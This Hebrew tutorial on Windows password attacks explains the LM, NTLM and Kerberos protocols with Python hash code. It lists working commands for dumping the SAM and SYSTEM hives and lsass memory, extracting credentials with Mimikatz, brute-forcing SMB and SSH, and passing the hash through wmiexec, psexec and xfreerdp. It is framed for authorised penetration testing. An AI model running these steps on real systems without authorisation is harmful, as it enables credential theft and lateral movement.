מחקר סיסמאות Windows זהו אחד הנושאים הרגישים באבטחת מידע ומבדקי חדירה של רשתות ארגוניות וזו גם הסיבה שהחלטתי לכתוב עליו. מעטים הן אירועי התקיפה כלפי רשתות ארגוניות שלא הייתה מעורבת בהם בצורה כזו או אחרת הוצאה של סיסמת הWindows של אחת/כמה מהתחנות, הן לצורך ביצוע פעולות בתחנה עצמה והן לצורך תנועה ברשת (Lateral Movement).
למעשה, בשונה מהסטנדרט המקובל לאבטחת סיסמאות (אות גדולה אחת לפחות, אות קטנה אחת לפחות, מספר וסימן, אורך תווים מינימלי, אימות דו שלבי וכו'), במערכת ההפעלה Windows כל משתמש יכול ליצור גם סיסמא של 4 מספרים זהים, אותה ניתן לפרוץ תוך פחות משניה באמצעות מתקפת Brute Force מודרנית. וזו אולי הבעיה הכי גדולה: כאשר אין מדיניות סיסמאות קשיחה, מרבית האנשים יעדיפו להשתמש בסיסמא הפשוטה, זו שהיא או הוא יכולים לזכור בקלות, משהו קצר, קליל, כזה שבטוח לא יישכח.
יודגש: המדריך מיועד אך ורק עבור אנשי סייבר אתיים ולמטרות אתיות בלבד המותרים על-פי חוק (כגון מבדקי חדירה בהסכמה וכו). חל איסור מוחלט לבצע פעולה בלתי חוקית בעזרת מדריך זה וכל פעולה לא חוקית שתתבצע הינה על אחריותו הבלעדית של המבצע והוא צפוי לספוג עונשים כבדים כמוגדר בחוק.
נתחיל עם הטכנולוגיה: כיצד עובדים הפרוטוקולים האחראים על האימות בWindows?
LM Hash
LM Hash הוא הפרוטוקול הראשון ששימש את Microsoft לשמירת סיסמאות בגרסאות Windows ישנות. עם זאת, הוא נחשב כיום למיושן ולא בטוח עקב מגבלות רבות באבטחתו. LM Hash הופעל לראשונה במערכות DOS עבור רשתות LAN Manager ונשאר פעיל גם בגרסאות Windows מוקדמות כמו Windows NT.
כיצד עובד LM Hash?
א. חלוקת הסיסמה: LM Hash לוקח את הסיסמה שהמשתמש הזין ומחלק אותה לשני חלקים בני 7 תווים כל אחד. אם הסיסמה קצרה מ-14 תווים, המערכת משלים אותה באפסים (Padding) כך שתהיה באורך 14 תווים.
ב. שינוי אותיות לרישיות בלבד: הסיסמה מומרת לאותיות רישיות, כלומר אותיות קטנות הופכות לגדולות. זה מפחית את כמות האפשרויות של תוקף ב-Brute Force Attack ומקל על תהליך הפריצה.
ג. הצפנה באמצעות DES: כל אחד משני חלקי הסיסמה מוצפן בנפרד באמצעות אלגוריתם DES (Data Encryption Standard), אלגוריתם מיושן ופגיע יחסית. ההצפנה הזו מייצרת את ה-LM Hash עבור כל חלק בנפרד.
ד. איחוד שני ה-hashes: ה-Hashes של שני החלקים מחוברים יחד כדי ליצור את ה-LM Hash הסופי.
מספיק לקרוא כיצד עובד הפרוטוקול בשביל להבין את בעיות האבטחה הגדולות שהיו בו. השימוש במבנה 7 תווים ללא רגישות לאותיות קטנות יוצר רשימת אפשרויות מצומצת מאד שניתן לפרוץ באמצעות Brute Force מודרני תוך מספר שניות, זאת בנוסף לכך שDES זהו פרוטוקול פרמטיבי יחסית אשר ניתן לפריצה בקלות.
דוגמא לפריצת LM Hash
על-מנת להדגים את פשטות הפריצה של LM Hash, ניצור סיסמא ונצפין אותה באמצעות פרוטוקול זה. עבור כך, נשתמש בPython ובספריות hashlib ו-passlib ליצירת סיסמא בפרוטוקול זה:
import hashlib
from passlib.hash import lmhash
password = "password"
lm_hash = lmhash.hash(password)
print(f"LM Hash for '{password}': {lm_hash}")
הפלט שנקבל: LM Hash for 'password': e52cac67419a9a224a3b108f3fa6cb6d
כעת נשתמש בכלי John the Ripper כדי לפענח את ה-LM Hash באמצעות מתקפת Brute Force. הכלי John the Ripper הוא כלי מעולה לפיצוח סיסמאות, שתומך במגוון סוגי Hash, כולל LM Hash, והוא מתאים במיוחד למתקפות כוח גס על סיסמאות חלשות במבנים כמו LM.
כשלב ראשון, נכניס את טקסט ה-Hash לקובץ TXT ונשמור אותו בשם, נניח lm-hash.txt. לאחר מכן נריץ את John (קיים דיפולטיבית בKali) בצורה הבאה: john --format=LM lm-hash.txt
.
לאחר שניה בודדת (במקרה של הסיסמא הזו: password), John יזהה את הסיסמא ויציג לנו:

יש לציין כי כברירת מחדל John מבצע את מתקפת הBrute Force באמצעות מילון (dictionary attack) בשם password.lst. ע"מ לבצע מתקפה שתנסה את כל צירופי התווים האפשריים, נבחר באפשרות Incremental Mode באמצעות הוספת הדגל incremental--
.
NTLMv1 Hash
בעקבות בעיות האבטחה שהתגלו בפרוטוקול LM, שוחרר פורטוקול NTLMv1 (ר"ת של New Technology LAN Manager). בפרוטקול זה ניתן דגש על בעיות האבטחה שליוו את פרוטוקול ה-LM ופורטו לעיל.
ייתרונות NTLM:
א. תמיכה בסיסמאות ארוכות: בניגוד ל-LM Hash שתומך בסיסמאות עד 14 תווים, פרוטוקול NTLM תומך בסיסמאות באורך של עד 127 תווים.
ב. אותיות קטנות וגדולות: בניגוד ל-LM Hash, פרוטוקול NTLM שומר על רגישות לאותיות קטנות וגדולות (case-sensitive). כלומר, הסיסמה נותרת כפי שהוזנה על ידי המשתמש ללא המרה לרישיות בלבד.
ג. קידוד ל-Unicode: הסיסמה מומרת ל-UTF-16LE (פורמט Unicode שבו כל תו מיוצג על ידי 2 בתים).
ד. יצירת ההאש באמצעות MD4: הסיסמה המקודדת ב-Unicode עוברת דרך אלגוריתם MD4 (ראשי תיבות של Message Digest Algorithm 4), שמייצר את ה-Hash.
תהליך האימות בNTLM מתבצע באמצעות מה שידוע כ"בעיית האתגר-תגובה" (Challenge-Response), מנגנון שמטרתו להבטיח ששרת האימות (תהליך שרץ בכל מחשב windows) יוכל לאמת את זהות המשתמש מבלי לחשוף את הסיסמה המקורית ברשת.
מה הכוונה "לחשוף את הסיסמא המקורית ברשת"? פשוט מאד. שהסיסמא לא תהיה גלויה באמצעות רחרוח רשת (כלים כמו wireshark וכד'), אלא תועבר בצורה מאובטחת יותר שתמנע את הזיהוי שלה.
השלבים בתהליך:
א. יצירת האתגר (Challenge):
- כאשר לקוח מנסה להתחבר לשרת, השרת שולח לו אתגר באורך של 8 בתים, שהוא ערך רנדומלי למחצה.
- מטרת האתגר היא ליצור ערך ייחודי לכל תהליך אימות, כך שלא ניתן יהיה לשחזר את התהליך באמצעות תגובה קבועה מראש.
ב. יצירת התגובה (Response):
- הלקוח משתמש ב-Hash של הסיסמה שלו (ה-hash שיוצר NTLM) כדי להצפין את ערך האתגר שקיבל מהשרת.
- התוצאה המוצפנת נשלחת בחזרה לשרת בתור התגובה (Response).
ג. אימות התגובה:
- השרת, שמחזיק גם הוא את ה-Hash של הסיסמה המקורית, מצפין את אותו אתגר גם-הוא באמצעות ה-Hash.
- לאחר מכן הוא משווה את התגובה שקיבל מהלקוח עם התגובה שיצר בעצמו. אם הערכים זהים, האימות מצליח.
בעיות האבטחה ב-NTLMv1:
א. שימוש בפונקציית Hash חלשה: MD4, הפרוטוקול בו משתמש NTLMv1, נחשב לפרוטוקול חלש אבטחתית, אשר ניתן לפריצה באמצעות מתקפת Collision Attacks (מתקפת התנגשויות, במסגרתה שני קלטים יפיקו את אותו ערך Hash וכך יהיה ניתן באמצעות שני הקלטים לחדור למערכת ולא רק באמצעות הסיסמא המקורית של המשתמש).
ב. שימוש בHash ישירות: מתחבר למה שצוין בא'. ניתן להשתמש בHash ישירות בשביל לבצע אימות למערכת באמצעות אתגר הChallenge-Response.
ג. העדר Salt :Salt הוא ערך רנדומלי ייחודי שמוסיפים לכל סיסמה לפני תהליך יצירת ה-Hash. המטרה של ה-Salt היא להקשות על התקפות שבהן תוקפים מנסים לפענח Hashes ידועים באמצעות השוואה לטבלאות מוכנות מראש כמו Rainbow Tables. ב-NTLMv1, אין ערך כזה.
ג. אתגר קצר: אורך האתגר הוא 8 תווים בלבד. אתגר באורך 8 בתים (64 ביט) יוצר רק 2^64 אפשרויות שונות של אתגרים. ברמה התיאורטית, תוקף יכול ליצור מראש טבלה (Rainbow Table) לכל ערך אתגר אפשרי באורך 8 בתים, יחד עם התגובה המתאימה עבור Hashes נפוצים של סיסמאות.
דוגמא לפריצת LM Hash
על-מנת להדגים את פשטות הפריצה של NTLMv1 Hash, ניצור סיסמא ונצפין אותה באמצעות פרוטוקול זה. עבור כך, נשתמש שוב ב-python:
import hashlib
def ntlm_hash(password):
# Encode the password to UTF-16LE
password_bytes = password.encode('utf-16le')
# Calculate the NTLM hash using the MD4 algorithm
hash_obj = hashlib.new('md4', password_bytes)
return hash_obj.hexdigest()
password = "password"
ntlm_hash_value = ntlm_hash(password)
print(f"NTLM Hash for '{password}': {ntlm_hash_value}")
כעת שוב נשתמש בכלי John the Ripper, הפעם כדי לפענח את ה-NTLM Hash באמצעות מתקפת Brute Force.
נפעל באותו סדר: כשלב ראשון, נכניס את טקסט ה-Hash לקובץ TXT ונשמור אותו בשם, נניח ntlm-hash.txt. לאחר מכן נריץ את John בצורה הבאה: john --format=NT ntlm-hash.txt
.
לאחר שניה בודדת (שוב במקרה של הסיסמא הזו: password), John יזהה את הסיסמא ויציג לנו:

NTLMv2 Hash
בעקבות הבעיות הרבות שהתגלו בפרוטוקול NTLMv1 ואותם פירטתי במקטע "בעיות האבטחה", פיתחה Microsoft את NTLMv2, גרסה משופרת שנועדה לשפר את רמת האבטחה ולהתמודד עם חולשות האבטחה הללו. כיום NTLMv2 נחשב לסטנדרט האימות כברירת מחדל בגרסאות Windows מודרניות, כולל Windows 11.
כיצד עובד NTLMv2?
תהליך יצירת ה-Hash ב-NTLMv2 מתבסס על מספר שיפורים ביחס לv1:
- שימוש ב-HMAC-MD5: במקום MD4 החלש יחסית, NTLMv2 עושה שימוש ב-HMAC עם MD5 ליצירת ה-Hash.
- הוספת Salt ושדות רנדומליים: בשונה מ-NTLMv1, NTLMv2 כולל ערכים רנדומליים כחלק מתהליך יצירת ה-Hash, כדי להקשות על מתקפות כמו Rainbow Tables.
- מנגנון challenge-response מורחב: הוספת נתונים נוספים כמו חותמות זמן ומידע על המחשב, אשר מונעים שימוש חוזר בנתונים גנובים.
תהליך ה-challenge-response בNTLMv2:
א. יצירת ה-Challenge על ידי השרת:
- השרת (שוב, השרת == תהליך במחשב האחראי על האימות. בהמשך אתייחס אליו בהרחבה) שולח ללקוח ערך אתגר (Challenge) באורך 8 בתים, יחד עם פרטים נוספים כגון שם השרת וחותמת זמן (פרטים אלו לא נשלחו בNTLMv1).
ב. יצירת ה-Response על ידי הלקוח:
- הלקוח יוצר שני Hashes (שימו לב לתוספות בסעיף 1 ולכל סעיף 2 שלא היו בv1):
- Hash ראשון המבוסס על הסיסמה של המשתמש: הסיסמה המוזנת על ידי המשתמש עוברת תהליך של HMAC-MD5, תוך שימוש בשם המשתמש ושם המחשב המקומי (או דומיין במקרה של סביבת Active Directory) בתור מפתחות.
- Hash שני: ערך ה-Challenge, יחד עם נתונים נוספים (חותמות זמן, Salt וכו'), מוצפן באמצעות ה-Hash הראשון.
ג. אימות ה-Response על ידי השרת:
- אם ה-Response של הלקוח תואם ל-Hash של השרת, האימות מצליח. השרת, שמחזיק את ה-Hash של הסיסמה המקורית, יוצר את אותו Hash שני באמצעות הנתונים שהתקבלו ומאשר את כניסת המשתמש.
כדי להדגים את יצירת ה-Hash ב-NTLMv2, נשתמש שוב ב-Python, הפעם הקוד יהיה מורכב הרבה יותר וגם נצטרך להוסיף לHash את סביבת הדומיין ואת שם המשתמש. עבור הפיענוח בJohn זה לא באמת משנה, שכן הפיענוח נעשה כלפי הערך של הסיסמא ולכן בחרתי בערכים "kodkod" ו-"user".
import hashlib
import hmac
import binascii
import struct
import time
import random
def utf16le(s):
""" Convert string to UTF-16-LE. """
return s.encode('utf-16le')
def md4(data):
""" Calculate MD4 hash. """
return hashlib.new('md4', data).digest()
def nt_hash(password):
""" Generate NT Hash. """
return md4(utf16le(password))
def hmac_md5(key, msg):
""" Perform HMAC-MD5. """
return hmac.new(key, msg, hashlib.md5).digest()
def ntlmv2_key(username, domain, nthash):
""" Generate NTLMv2 key. """
return hmac_md5(nthash, utf16le(username.upper() + domain))
def build_av_pairs(nb_domain, nb_computer, dns_domain, dns_computer, dns_tree=""):
""" Construct AV Pairs. """
def av_pair(av_id, value):
val = utf16le(value)
return struct.pack('<HH', av_id, len(val)) + val
pairs = (
av_pair(0x02, nb_domain) +
av_pair(0x01, nb_computer) +
av_pair(0x04, dns_domain) +
av_pair(0x03, dns_computer)
)
if dns_tree:
pairs += av_pair(0x05, dns_tree)
return pairs + struct.pack('<HH', 0x00, 0x00) # End of AV pairs
def build_v2_blob(nb_domain, nb_computer, dns_domain, dns_computer, dns_tree="", client_challenge=None, timestamp=None):
""" Build NTLMv2 blob. """
if client_challenge is None:
client_challenge = random.getrandbits(64).to_bytes(8, 'little')
if timestamp is None:
timestamp = (int(time.time()) + 11644473600) * 10000000
av_data = build_av_pairs(nb_domain, nb_computer, dns_domain, dns_computer, dns_tree)
return (
b"\x01\x01\x00\x00" + # Flags
b"\x00\x00\x00\x00" + # Reserved
struct.pack('<Q', timestamp) +
client_challenge +
b"\x00\x00\x00\x00" + # Reserved
av_data
)
def compute_netntlmv2(username, domain, password, server_challenge, nb_domain, nb_computer, dns_domain, dns_computer, dns_tree="", client_challenge=None, timestamp=None):
""" Compute Net-NTLMv2 hash. """
nthash = nt_hash(password)
v2key = ntlmv2_key(username, domain, nthash)
blob = build_v2_blob(nb_domain, nb_computer, dns_domain, dns_computer, dns_tree, client_challenge, timestamp)
ntv2 = hmac_md5(v2key, server_challenge + blob)
return ntv2, blob
if __name__ == "__main__":
username = "user"
domain = "kodkod"
password = "password"
server_challenge = binascii.unhexlify("997b18cc61099ba2")
nb_domain = "WIN-487IMQOIA8E"
nb_computer = "WIN-487IMQOIA8E"
dns_domain = "win-487imqoia8e.local"
dns_computer = "win-487imqoia8e.local"
dns_tree = "win-487imqoia8e.local"
ntv2, blob = compute_netntlmv2(
username, domain, password,
server_challenge,
nb_domain, nb_computer,
dns_domain, dns_computer,
dns_tree
)
ntv2_hex = binascii.hexlify(ntv2).upper().decode()
blob_hex = binascii.hexlify(blob).upper().decode()
final_line = f"{username}::{domain}:{binascii.hexlify(server_challenge).decode()}:{ntv2_hex}:{blob_hex}"
print("Net-NTLMv2 Hash:")
print(final_line)
פיצוח NTLMv2 באמצעות John the Ripper
גם כאן, נשתמש ב-John the Ripper כדי לפענח את ה-NTLMv2 Hash:
- נששמור את ה-Hash שיצרת בקובץ, נניח בשם
ntlmv2-hash.txt
. - נריץ את הפקודה הבאה:
john --format=netntlmv2 ntlmv2-hash.txt
- התהליך עשוי לקחת יותר זמן מאשר NTLMv1 בשל השיפורים באבטחה, אך עבור סיסמאות חלשות כמו "password", נקבל תשובה בזמן יחסית מהיר:

התהליכים האחראים על NTLM ב-Windows:
במערכת Windows, תהליך האימות באמצעות NTLM מנוהל על ידי מספר תהליכים ושירותים:
- Local Security Authority Subsystem Service (LSASS):
- מנהל את מדיניות האבטחה המקומית, כולל יצירת ה-Hash של NTLM.
- ניתן למצוא אותו ב-Task Manager כ-"Local Security Authority Process" (שם הקובץ: lsass.exe).
- במחשבי Windows רגילים (לא סביבת דומיין), הוא מנהל את התהליך מקצה לקצה. כלומר, הוא "השרת" שמבצע את תהליך הChallenge-Response כאשר המשתמש מכניס את סיסמתו.

- Netlogon Service:
- אחראי על אימות משתמשים מול בקרי דומיין.
- נמצא ב-Task Manager תחת לשונית Services בשם "Netlogon".
- רלוונטי ברשתות ארגוניות, כאשר משתמשים בNTLMv2 ולא בKerberos.
- Server Service (LanmanServer):
- מנהל בקשות NTLM המגיעות ממחשבים אחרים ברשת.
- ניתן לזהות אותו ב-Task Manager בשם "Server" (קובץ: svchost.exe).
- Workstation Service (LanmanWorkstation):
- מטפל בבקשות NTLM היוצאות מהמחשב.
- נמצא ב-Task Manager תחת "Workstation" (קובץ: svchost.exe).
- Credential Manager (Vaultsvc):
- מנהל אישורי משתמשים המאוחסנים במערכת.
- השירות מופיע ב-Task Manager תחת לשונית Services בשם "Credential Manager" (קובץ: svchost.exe).
קבצים רלוונטיים לאימות NTLM במערכות Windows
במערכת Windows, תהליך האימות נשען על מספר קבצים קריטיים שמאחסנים נתוני Hash, מפתחות הצפנה ונתונים סודיים אחרים. בקבצים אלו נשתמש בהמשך להוצאת סיסמאות המערכת.
בשורות הבאות אפרט את קבצים אלו:
1. SAM (Security Account Manager)
- מיקום:
C:\Windows\System32\config\SAM
- תפקיד:
- מאחסן את ה-Hashes של סיסמאות המשתמשים המקומיים.
- משמש בתהליך האימות המקומי של Windows.
- שימוש ב-Registry:
- ניתן לטעון את SAM באמצעות עורך הרג'יסטרי:
reg load HKLM\SAM C:\Windows\System32\config\SAM
reg save HKLM\SAM C:\Temp\SAM.reg
- ניתן לטעון את SAM באמצעות עורך הרג'יסטרי:
2. System
- מיקום:
C:\Windows\System32\config\SYSTEM
- תפקיד:
- מכיל מפתחות הצפנה הדרושים לפענוח ה-Hashes בקובץ SAM.
- שימוש ב-Registry:
- ניתן לטעון את SYSTEM באמצעות הפקודה:
reg load HKLM\SYSTEM C:\Windows\System32\config\SYSTEM
reg save HKLM\SYSTEM C:\Temp\SYSTEM.reg
3. Security
- מיקום:
C:\Windows\System32\config\SECURITY
- תפקיד:
- מאחסן נתוני LSA Secrets הכוללים סיסמאות לשירותים, מפתחות הצפנה, ואישורים רגישים.
- שימוש ב-Registry:
- ניתן לטעון את SECURITY באמצעות הפקודה:
reg load HKLM\SECURITY C:\Windows\System32\config\SECURITY
reg save HKLM\SECURITY C:\Temp\SECURITY.reg
כפי שניתן להבין, הקבצים SAM ו-System הם החשובים ביותר. SAM כי הינו מכיל את ה-Hash של הסיסמאות ו-System כי הוא מכיל את המפתחות הנדרשות לפיענוח ה-Hash. כאשר נבצע מבדק חדירה מאושר למחשב Windows, נרצה להוציא את הקבצים הללו על-מנת להריץ אותם לאחר מכן ב-Mimikatz ולזהות את ה-hash.
Mimikatz
Mimikatz הוא כלי רב עוצמה אשר פותח על ידי Benjamin Delpy ומיועד בעיקר להפקת נתוני אימות ממערכות Windows, כולל Hash-ים של סיסמאות, כרטיסי Kerberos, ונתונים סודיים אחרים המאוחסנים בזיכרון. הוא נמצא בשימוש רב על-ידי תוקפים וקבוצות תקיפה שיוצרים גרסאות מעורפלות שלו ע"מ להתחמק ממנגונני הגנה.
בעת בואנו לבצע מבדק חדירה באישור, לרוב לא נשתמש בכלי על התחנה במערכת המרוחקת, שכן סביר לומר שהוא ינוטר באופן מידי על ידי מערכות ה-EDR. במקום זאת, נייצא את קבצי ה-Sam וה-Security מהמכונה ונריץ את Mimikatz במכונה שלנו.
את הייצוא של הקבצים נצטרך לעשות תחת הרשאות SYSTEM, הרשאות גבוהות יותר מ-Administartor, זהו בשל אמצעיי הגנה שWindows מימשו כלפי הוצאת הקבצים. עבור כך נוכל להשתמש ב-PsExec (מתוך חבילת הכלים של sysInternals), או באמצעות הפעלת משימה מתוזמנת תחת הרשאות Administrator. הטכניקה המקובלת יותר והפשוטה יותר היא הוצאת ה-Dump של התהליך האחראי על האימות (lsass) מתוך הProcess Manager ואותה אסקור בהמשך.
עבור ההדגמה, אני אשתמש ב-PsExec. נפתח את ה-CMD תחת הרשאות Administrator בתיקיית SysInternals ונריץ: psexec -s -i cmd
. פקודה זו תפתח לנו חלון CMD תחת הרשאות System.
כעת נשמור את קבצי ה-SAM וה-System באמצעות הפקודות הבאות:
reg load HKLM\SAM C:\Windows\System32\config\SAM
reg save HKLM\SAM\SAM C:\Temp\SAM.hivreg save HKLM\SYSTEM C:\Temp\SYSTEM.hiv
reg load HKLM\SYSTEM C:\Windows\System32\config\SYSTEM
reg save HKLM\SYSTEM C:\Temp\SYSTEM.hiv
במידה ואין שגיאות והכל עובד, אתם בדרך הנכונה:

כעת נריץ את Mimikatz בצורה הבאה:
mimikatz.exe
lsadump::sam /sam:C:\Temp\SAM.hiv /system:C:\Temp\SYSTEM.hiv

נוציא את ה-Hash הקיים בשורה Hash NTLM ונריץ את John כפי שפירטתי בנוגע לNTLMv1.
אגב, לצורכי העשרה, אם תרצו להריץ את Mimikatz על המחשב שלכם ושהוא ישירות יחלץ את ה-Hash מקבצי ה-SAM וה-Security, עליכם יהיה להשתמש בפקודה privilege::debug
ולאחריה sekurlsa::logonpasswords
.
ועוד משהו קטן שהבטחתי שאתייחס אליו: במקום להסתבך עם הרשאות ה-SYSTEM הנדרשות בעת חילוץ קבצי ה-SAM וה-System מה-Registery, ניתן פשוט לפתוח את מנהל המשימות שלכם (אני משתמש ב-Porcess Hacker המעולה ושם הכל פשוט, בTask Manager הרגיל תיגשו ללשונית ה-Details ובצעו פילטור לפי ערך השם), לחפש את תהליך ה-lsass, ללחוץ קליק ימני ולבחור ב-Create Dump File. חשוב לי לציין שיש לא מעט טכניקות נוספות עבור הוצאת הDump והצגתי רק את הפשוטה והפופולרית מבניהם.

לאחר מכן, נוכל פשוט להזין ב-Mimikatz את הפקודות הבאות: sekurlsa::minidump C:\Temp\lsass.dmp
ולאחר מכן: sekurlsa::logonpasswords
.
אז דיברנו על LN, NTLMv1 וכמובן על NTLMv2 שכאמור הוא כיום מנגנון הDefault בעת ההתחברות שלנו למחשבים ביתיים. כעת נעבור לדבר על Kerberos, פרוטוקול הDefault בעת התחברות לרשתות ארגוניות (סביבות Active Directory).
Kerberos
Kerberos הוא פרוטוקול אימות מבוסס כרטיסים (Tickets), שפותח במקור באוניברסיטת MIT ונמצא בשימוש במערכות מבוססות Windows Server. הפרוטוקול נועד להחליף את NTLM במערכות ארגוניות ולהציע פתרון מאובטח יותר, עם מנגנוני הגנה מתקדמים ותמיכה בגישה מבוזרת למשאבים ברשת.
אגב, גם בעת שימוש במחשב הביתי יכול להיות מצב שנשתמש ב-Kerberos, לדוגמא במצב בו אנו מתחברים למחשב באמצעות חשבון Microsoft ולא באמצעות סיסמא מקומית. במקרה הזה – אנחנו גם תחת סוג של שרת, השרת של Microsoft ולכן יתבצע שימוש ב-Kerberos.
כיצד עובד Kerberos?
Kerberos מתבסס על שלושה רכיבים מרכזיים:
- לקוח (Client): המשתמש שמבקש גישה לשירות או משאב, לצורך הדוגמא: מבקש גישה לשירות ההדפסות.
- שרת שירות (Service Server, SS): השרת שמספק את המשאב או השירות בו הלקוח מעוניין, לצורך הדוגמא: שרת ההדפסות.
- שרת מפתח מרכזי (Key Distribution Center, KDC): כולל שני רכיבים:
- Authentication Server (AS): אחראי על אימות זהות המשתמש.
- Ticket Granting Server (TGS): מנפיק כרטיסים לגישה לשירותים.
תהליך האימות ב-Kerberos
א. אימות ראשוני (Authentication Server Exchange):
- הלקוח שולח בקשה לשרת ה-AS (כזכור, תהליך בתוך ה-KDC האחראי על האימות זהות) עם שם המשתמש שלו.
- ה-AS מאמת את המשתמש מול מסד הנתונים (למשל, Active Directory) ומחזיר כרטיס ראשוני (TGT – Ticket Granting Ticket). ה-TGT מוצפן באמצעות מפתח סודי הידוע ל-KDC בלבד (כזכור, ה-KDC זהו השרת האחראי על אימות הזהות והפצת הTickets).
ב. קבלת כרטיס לשירות (TGS Exchange):
- הלקוח שולח בקשה ל-TGS (כזכור, תהליך בתוך ה-KDC אשר מנפיק כרטיסים), הכוללת את ה-TGT שקיבל מה-AS ואת שם השירות המבוקש.
- ה-TGS מאמת את הבקשה ומנפיק כרטיס שירות (Service Ticket), שמאפשר ללקוח גישה לשירות הספציפי.
ג. גישה לשירות (Client/Server Exchange):
- הלקוח שולח את כרטיס השירות לשרת השירות (SS) המבוקש.
- השרת מאמת את הכרטיס מול ה-KDC ומעניק ללקוח גישה למשאב.
יתרונות האבטחה של Kerberos ביחס ל-NTLMv2:
- מניעת חשיפת סיסמאות ברשת: הסיסמה אינה נשלחת לעולם ברשת, אפילו לא כ-Hash. רק כרטיסים מוצפנים נשלחים.
- אימות הדדי (Mutual Authentication): גם הלקוח וגם השרת מאמתים זה את זה, מה שמונע מתקפות התחזות (Spoofing).
- כרטיסים מבוססי זמן: הכרטיסים ב-Kerberos הם זמניים (בעלי תוקף מוגבל), מה שמקשה על שימוש חוזר במידע גנוב.
- מפתחות סודיים ייחודיים: כל כרטיס מוצפן במפתח ייחודי המשותף רק ללקוח ול-KDC.
אחרי כל מה שאמרנו, פרט חשוב שראיתי לנכון לציין דווקא בפסקה זו: המגמה של Microsoft הוא להוציא את NTLM משימוש בדיוק בגלל פגמי האבטחה שצוינו ושאציין גם בפסקה הבאה ולהעביר את כלל שירותיה לשימוש ב-Kerberos. באוקטובר 2023 ושוב ביוני 2024 הודיעה Microsoft על כך שהחל מ-2025 היא תוציא בהדרגה את הפרוטוקול על-כל גרסאותיו בשימוש וכי עד אמצע 2026 הוא כבר לא יהיה זמין בהתקנות חדשות ועד סוף 2027 כבר לא יהיה זמין בכלל.
שיטות פרקטיות לפריצת סיסמאות Windows
- Brute Force
לפני שאחזור להתעסק במתקפות אשר עושות שימוש ב-Hash, אדבר בקצרה על המתקפה שעושה שימוש בסיסמא עצמה, הלא היא ה-Brute Force. כמובן שבדרך כלל, לצורכי יעילות, נממש את ה-Brute Force בשילוב עם Dictionary Attack (כלומר: עם רשימת מילים מותאמת ולא ניסיון סתמי על כל האפשרויות).
במרבית המקרים, בעת ביצוע מבדק חדירה לא נבצע Brute Force שכן זוהי מתקפה רועשת מדיי. אבל עבור המקרים שכן, אפרט להלן שני דרכים בסיסיות. האחת, רלוונטית רק כאשר יש SSH פתוח. ואחת, עובדת מול פרוטוקול ה-SMB שכברירת מחדל יהיה פתוח במערכות Windows (פורט 445).
נתחיל עם SMB (Server Message Block). פרוטוקול זה משמש לשיתוף קבצים, מדפסות ומשאבים אחרים בין מחשבים, במיוחד בסביבות Windows. יכולות השיתוף וההתחברות מרחוק שלו מאפשרות לנו לנסות להתחבר אליו עם שם משתמש וסיסמא או עם Hash.
עבור התחברות אליו, נשתמש בכלי wmiexec. כלי זה עושה שימוש בWMI (ר"ת של Windows Management Instrumentation), פרוטוקול שמאפשר הרצת פקודות וניהול מערכות מרחוק. הוא חלק מערכת הכלים Impacket, ערכת כלים הכתובה ב-Python ומשמשת לעבודה ישירה מול פרוטוקולי רשת.
ע"מ לנסות ולהתחבר למחשב אחר ברשת עם wmiexec, נשתמש בפקודה הבאה:
wmiexec.py DOMAIN/USERNAME:PASSWORD@TARGET
נוכל גם להשתמש ב-Hash שייצאנו ע"מ להתחבר עם wmiexec, אבל כאן אנו נכנסים כבר למתקפת "Pass The Hash" עליה אדבר בהמשך:
wmiexec.py <domain>/<username>@<target_ip> -hashes <LM_hash>:<NTLM_hash>
השדה LM_Hash הוא עבור תאימות לאחור ונוכל לוותר עליו, אך לא לוותר על ":", כך:
wmiexec.py mydomain/admin@192.168.1.100 -hashes :NTLM_Hash
במקרה של מחשב שאינו חלק מסביבת דומיין, נוכל להזין כערך ל"domain" את השם של המחשב או פשוט נקודה (.). אם הכל כשורה, פשוט ייפתח לנו חלון CMD בו נוכל להריץ פקודות תחת הרשאות Admin.
אבל במקרה שלנו לפני שאנו רוצים להתחבר, אנו גם רוצים לעשות Brute Force. עבור כך נשתמש בכלי crackmapexec, בצורה הבאה:
crackmapexec smb <target_ip> -u <username> -p passwords.txt
דרך נוספת ל-Brute Force היא באמצעות SSH, פרוטוקול שלא מופקע לראות אותו פתוח ברשתות ארגוניות. נוכל לעשות זאת בעזרת Hydra:
hydra -l <username> -P <passwords_file> ssh://<target_ip>
כמובן שניתן להשתמש גם במודולים קיימים ב-Metasploit ובכלים נוספים, רועשים יותר או רועשים פחות וזוהי רק הדגמה לרעיון.
2. Pass The Hash
אחרי ההתייחסות הקצרצרה לBrute Force, נעבור לאחת המתקפות השימושיות, הלא היא Pass The Hash, אשר כשמה כן היא: שימוש ב-Hash של הסיסמא בשביל להתחבר במקום בסיסמא עצמה. במסגרת תהליך השימוש בMimikatz התחלנו כבר לגעת במתקפה זו, בשלב ההסבר על כיצד ניתן לחלץ את ה-Hash. אבל עכשיו נעבור לשלב הבא: איך אפשר עם אותו Hash להתחבר למערכת במקום עם הסיסמא?
אז במקטע שעסק ב-Mimikatz הצגנו את הדרך לעשות זאת עם wmiexec, כעת אציג דרך נוספת לעשות זאת עם פרוטוקול SMB, הפעם כיצד נוכל להתחבר עם ה-Hash גם באמצעות הכלי psexec (גם הוא מתוך חבילת הכלים של impacket), אשר עושה שימוש גם הוא בפרוטוקול ה-SMB:
psexec.py DOMAIN/Administrator@192.168.1.100 -hashes :NTLM_HASH
פעולה נוספת ושימושית היא התחברות ב-RDP, במידה והוא פתוח במחשב היעד, באמצעות ה-Hash. אמנם לקוח ה-RDP המובנה של Windows לא תומך בכך, אך נוכל להשתמש בכלי xfreerdp בלינוקס (פקודת התקנה: sudo apt install freerdp2-x11
).
לאחר מכן, נוכל להתחבר למחשב המרוחק באמצעות הפקודה הבאה:
xfreerdp /v:<target_ip> /u:<username> /pth:<NTLM_HASH>
אבל לא סיימנו. כברירת מחדל, בעת ההתחברות נקבל את השגיאה הזו שכן Windows חוסמים את החיבור ללא הזנת שם המשתמש והסיסמא:

ע"מ לפתור את בעיה זו, נריץ במכונת ה-windows של היעד את הפקודה הבאה ב-Powershell תחת הרשאות מנהל:
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
דרך נוספת להתחבר למחשב המרוחק באמצעות ה-Hash, היא שימוש בכלי evil-wimrm אשר קיים דיפולטיבית ב-Kali ועושה שימוש בפרוטוקול Win-RM, פרוטוקול לניהול התקנים של Windows. פרוטוקול זה רץ תחת הפורטים 5985 ו-5986, מה שאומר שאחד מפורטים אלו צריך להיות פתוח ע"מ שהפעולה תעבוד.
